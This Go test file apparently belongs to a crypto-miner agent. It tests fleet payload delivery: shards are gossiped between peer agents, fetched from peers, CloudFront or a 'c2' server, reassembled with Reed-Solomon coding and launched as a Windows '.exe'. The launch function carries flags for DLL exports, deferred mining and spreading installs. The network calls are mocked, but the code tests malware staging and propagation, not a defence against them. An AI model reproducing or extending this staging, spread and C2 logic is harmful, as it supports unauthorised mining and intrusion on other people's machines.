AetherForge/agent/deploy/fleet_torrent_test.go

package deploy

import (
	"testing"

	"crypto-miner-agent/config"

	"github.com/klauspost/reedsolomon"
)

func TestFleetShardDHTMergeAndFetch(t *testing.T) {
	dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), local: make(map[string]map[int][]byte)}
	dht.MergeFleetGossipRecords([]FleetGossipRecord{{
		Kind: FleetGossipHaveShard, AgentID: "peer-a", Subnet: "10.1.2", Token: "tok1",
		ShardIndex: 0, FetchURL: "mock://shard0", Region: "us-east-1",
	}})
	prev := erasureFetchFn
	erasureFetchFn = func(url string) ([]byte, error) {
		if url == "mock://shard0" {
			return []byte("shard"), nil
		}
		return nil, nil
	}
	defer func() { erasureFetchFn = prev }()
	body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "", "10.1.2", "us-east-1", dht)
	if err != nil || string(body) != "shard" {
		t.Fatalf("body=%v err=%v", body, err)
	}
}

func TestFetchErasureShardFleetRegionPriority(t *testing.T) {
	dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string)}
	dht.MergeFleetGossipRecords([]FleetGossipRecord{
		{Kind: FleetGossipHaveShard, AgentID: "eu", Token: "t", ShardIndex: 0, Region: "eu-west-1", FetchURL: "mock://eu"},
		{Kind: FleetGossipHaveShard, AgentID: "us", Token: "t", ShardIndex: 0, Region: "us-east-1", FetchURL: "mock://us"},
	})
	prev := erasureFetchFn
	var got string
	erasureFetchFn = func(url string) ([]byte, error) { got = url; return []byte("x"), nil }
	defer func() { erasureFetchFn = prev }()
	_, err := FetchErasureShardFleet("t", 0, "", "", "10.9.9", "us-east-1", dht)
	if err != nil || got != "mock://us" {
		t.Fatalf("got=%q err=%v", got, err)
	}
}

func TestFetchErasureShardFleetCloudFrontBeforeC2(t *testing.T) {
	dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string)}
	prev := erasureFetchFn
	erasureFetchFn = func(url string) ([]byte, error) {
		if url == "mock://cf" {
			return []byte("cf"), nil
		}
		return nil, nil
	}
	defer func() { erasureFetchFn = prev }()
	body, err := FetchErasureShardFleet("t", 0, "mock://c2", "mock://cf", "", "", dht)
	if err != nil || string(body) != "cf" {
		t.Fatalf("body=%s err=%v", body, err)
	}
}

func TestRunFleetTorrentStagingRoundtrip(t *testing.T) {
	dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), local: make(map[string]map[int][]byte)}
	payload := []byte("fleet-torrent-roundtrip")
	p := erasureParams{DataShards: 2, ParityShards: 1}
	enc, _ := reedsolomon.New(p.DataShards, p.ParityShards)
	shards, _ := enc.Split(payload)
	_ = enc.Encode(shards)
	prev := erasureFetchFn
	erasureFetchFn = func(url string) ([]byte, error) {
		switch url {
		case "mock://0":
			return shards[0], nil
		case "mock://1":
			return shards[1], nil
		case "mock://2":
			return shards[2], nil
		default:
			return nil, nil
		}
	}
	defer func() { erasureFetchFn = prev }()
	prevLaunch := erasureLaunchFn
	erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { return "ok", nil }
	defer func() { erasureLaunchFn = prevLaunch }()
	SetFleetShardDHT(dht)
	plan := ErasurePlanBody{
		Enabled: true, Scheme: erasureSchemeReedSolomonV1, DataShards: p.DataShards, ParityShards: p.ParityShards,
		PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload), ShardToken: "tok1",
		Dest: t.TempDir() + `\w.exe`, Launch: "exe",
		Shards: []ErasureShardRef{{Index: 0, URL: "mock://0"}, {Index: 1, URL: "mock://1"}, {Index: 2, URL: "mock://2"}},
	}
	if _, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetTorrentEnabled: true}}, plan, "", "10.1.2", "us-east-1"); err != nil {
		t.Fatal(err)
	}
}